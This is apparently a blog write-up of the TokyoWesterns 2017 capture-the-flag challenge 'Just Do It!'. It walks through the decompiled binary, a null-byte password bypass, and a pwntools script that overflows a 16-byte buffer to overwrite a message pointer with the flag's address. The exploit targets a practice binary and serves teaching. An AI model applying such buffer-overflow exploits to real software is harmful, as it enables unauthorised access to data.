TokyoWesterns 2017 - Pwn - Just Do It!

Today we'll be exploring an ever so slightly harder Pwn challenge that appeared in TokyoWesterns 2017 - Just Do It!

TokyoWesterns 2017 - Pwn - Just Do It!

The challenge binary is available with a comprehensive writeup at aguyinatuxedos fantastic repository.

Initial binary checks reveal the following:

┌──(inspired㉿working)-[/opt/nightmare/stack_bofs/variable_overflows/justdoit]
└─$ pwn checksec just_do_it
[*] '/opt/nightmare/stack_bofs/variable_overflows/justdoit/just_do_it'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

┌──(inspired㉿working)-[/opt/nightmare/stack_bofs/variable_overflows/justdoit]
└─$ file just_do_it 
just_do_it: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cf72d1d758e59a5b9912e0e83c3af92175c6f629, not stripped

When running the binary, it prompts us for a password.

┌──(inspired㉿working)-[/opt/nightmare/stack_bofs/variable_overflows/justdoit]
└─$ ./just_do_it
Welcome my secret service. Do you know the password?
Input the password.
the password.
Invalid Password, Try Again!

Let's crack the decompiled code open in Ghidra.


undefined4 main(void)

{
  char *pcVar1;
  int target;
  char input [16];
  FILE *local_18;
  char *local_14;
  undefined *local_c;
  
  local_c = &stack0x00000004;
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  local_14 = failed_message;
  local_18 = fopen("flag.txt","r");
  if (local_18 == (FILE *)0x0) {
    perror("file open error.\n");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  pcVar1 = fgets(flag,0x30,local_18);
  if (pcVar1 == (char *)0x0) {
    perror("file read error.\n");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("Welcome my secret service. Do you know the password?");
  puts("Input the password.");
  pcVar1 = fgets(input,0x20,stdin);
  if (pcVar1 == (char *)0x0) {
    perror("input error.\n");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  target = strcmp(input,PASSWORD);
  if (target == 0) {
    local_14 = success_message;
  }
  puts(local_14);
  return 0;
}

So since we have the flag.txt file in our current directory, we're bypassing the file reading errors and input reading errors which check for a null input.

At the bottom, we can see it compares our input and a data segment called PASSWORD. Doubling clicking this takes us to the required string value.

Password String to Compare

Entering this into the program doesn't work!

┌──(inspired㉿working)-[/opt/nightmare/stack_bofs/variable_overflows/justdoit]
└─$ ./just_do_it 
Welcome my secret service. Do you know the password?
Input the password.
P@SSW0RD
Invalid Password, Try Again!

This is because fgets, the function reading in our input, adds a new like character onto the end when it's finished reading (0x0a). So to get it working, we'll have to pass a null byte on the end of the P@SSW0RD string which is what strcmp will scan the variable until it finds, leaving us with the required string. I did it quickly in Python.

┌──(inspired㉿working)-[/opt/nightmare/stack_bofs/variable_overflows/justdoit]
└─$ python3 -c "print('P@SSW0RD' + '\x00')" |  ./just_do_it
Welcome my secret service. Do you know the password?
Input the password.
Correct Password, Welcome!

We get the correct password, but no flag. Hmm. Let's take a closer look. We can see fgets is reading in 0x20 bytes of input, or 32 decimal, if you will.

puts("Welcome my secret service. Do you know the password?");
puts("Input the password.");
pcVar1 = fgets(input,0x20,stdin);

We can also see that the input has been allocated a buffer of 16 bytes. This is also confirmed in the FUNCTION listing image by subtracting the local_18 stack offset with the input stack offset (0x28 - 0x18 = 0x10 // 16 decimal)!

Finding the Variable Size

So we're reading in 32 bytes, but only have 16 bytes space in our input variable. This means our next 16 bytes will spill into the following variables as the stack overflows.

We know that stack+0x18 is going to contain the flag opening stream and stack+0x14 is going to contain local_14, AKA the success message. We're at stack+0x28.

Examining Variable Positions

We can also see that local_14 gets printed to console when we pass the correct password.

target = strcmp(input,PASSWORD);
if (target == 0) {
  local_14 = success_message;
}
puts(local_14);
return 0

So by my calculations, if we could locate the address of the flag in the program, then force the overwrite of local_14 with the address of the flag, it should then puts(flag). We'll need to send 0x28 - 0x14 = 0x14, or 20 decimal bytes to get to the start of local_14.

Let's look for the flag. I just double click the flag in the decompiler to obtain its address.

Flag's Location in Program

Let's try with Pwntools, sending 20 null bytes and then the flag address to see if we can get it to puts the goods on the table for us.

from pwn import * 

p = process('./just_do_it')

exploit = b'\x00' * 20  + p32(0x0804a080)

print(p.recvuntil('password.\n'))

p.send(exploit)
p.send('\n')

print(p.recvline())

Et voila!

┌──(inspired㉿working)-[/opt/nightmare/stack_bofs/variable_overflows/justdoit]
└─$ python3 playful.py
[+] Starting local process './just_do_it': pid 15130
b'Welcome my secret service. Do you know the password?\nInput the password.\n'
b'TWCTF{pwnable_warmup_I_did_it!}\n'

References: